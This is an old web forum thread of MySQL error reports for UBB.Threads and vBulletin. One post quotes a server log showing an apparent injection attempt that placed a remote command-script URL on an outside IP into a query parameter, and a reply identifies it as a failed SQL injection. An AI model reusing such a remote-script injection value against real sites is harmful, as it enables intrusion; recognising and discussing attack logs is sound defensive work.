What's this error?

You are not logged in. [Log In] ubbDev » Forums » Community Development » HTML, CSS, Programming and MySQL
» MySQL and Server Configuration » What's this error?

Topic Options

#282893 - 01/04/05 02:34 PM What's this error?
Chevy454 Member Registered: 03/25/00 Posts: 227 Loc: Alton, MO, USA	I get this error whenever I try to add an IP address to my "ban list" via my control panel...<br /> Code: Script: /home/yenko/public_html/ubbthreads/admin/doupdatebanlists.php<br />Line#: 69<br />SQL Error: Column count doesn't match value count at row 1<br />SQL Error #: 1136<br />Query: INSERT INTO w3t_Banned VALUES ('24.151.173.69') <br /><br />I'm running 6.5...
Top

#282894 - 01/04/05 04:39 PM Re: What's this error? [Re: CPBpnM]
Twisty Code Monkey Registered: 09/26/03 Posts: 524	Answered here. _________________________ Twisty []http://www.mameworld.info/misc/nana2.gif[/] MAMEWorld
Top

#282895 - 01/04/05 10:03 PM Re: What's this error? [Re: smoknz28]
Chevy454 Member Registered: 03/25/00 Posts: 227 Loc: Alton, MO, USA	Thanks, and I apologize for the cross posting...but after I thought about it, I figured this was the more appropriate forum. Joshpet got me sorted out!
Top

#282896 - 02/12/05 06:06 PM

Re: What's this error? [Re: CPBpnM]

Pasqualist Offline

Member

Registered: 01/30/03
Posts: 285
Loc: Amsterdam, The Netherlands

Today I found this error in my log file:<br /><br />

Code:

Sat, Feb 12 2005 11:09:13 +0100<br />200.165.41.22 Unable to do_query: <br />SELECT B_Main,B_Board<br />FROM w3t_Posts<br />WHERE B_Number = http://67.18.54.212/~greg/cmd.txt?<br />- You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '://67.18.54.212/~greg/cmd.txt?' at line 3

<br /><br />What can this be ? (the IP/URL is unknown to me)

Top

#282897 - 02/14/05 11:50 PM Re: What's this error? [Re: 10k]
JoshPet I type Like navaho Registered: 11/29/01 Posts: 11330 Loc: Charlotte, NC	If you view the script, looks like they were attempting some sort of SQL injection, which failed and threw a MySQL error instead.<br />http://67.18.54.212/~greg/cmd.txt _________________________ Joshua Pettit www.JoshuaPettit.com My abilities are for hire.
Top

#282898 - 02/15/05 02:53 AM Re: What's this error? [Re: Daine]
Pasqualist Member Registered: 01/30/03 Posts: 285 Loc: Amsterdam, The Netherlands	Thanks Josh... so there's nothing to worry about I guess <img src="http://www.ubbdev.com/forum/images/graemlins/wink.gif" alt="" />
Top

#282899 - 05/18/05 03:43 PM Re: What's this error? [Re: 10k]
Justdavesforum Lurker Registered: 05/18/05 Posts: 1	Database error in vBulletin 3.0.7:<br /><br />Invalid SQL: <br /> SELECT faqname, text AS title<br /> FROM faq AS faq<br /> INNER JOIN phrase AS phrase ON (phrase.varname = faq.faqname AND phrase.phrasetypeid = 7000 AND phrase.languageid IN(-1, 0))<br /> WHERE faqname = 'vb_referrals_explain'<br /> <br />mysql error: Illegal mix of collations (latin1_bin,IMPLICIT) and (latin1_swedish_ci,IMPLICIT) for operation '='<br /><br />mysql error number: 1267
Top

#282900 - 05/19/05 12:22 AM Re: What's this error? [Re: Thheizz]
JoshPet I type Like navaho Registered: 11/29/01 Posts: 11330 Loc: Charlotte, NC	VB? This is a UBB.Threads developer forum? <img src="http://www.ubbdev.com/forum/images/graemlins/tongue.gif" alt="" /> You'll probably get better results asking at the VB forums. <img src="http://www.ubbdev.com/forum/images/graemlins/smile.gif" alt="" /> _________________________ Joshua Pettit www.JoshuaPettit.com My abilities are for hire.
Top

Previous Topic

Index

Next Topic

Hop to: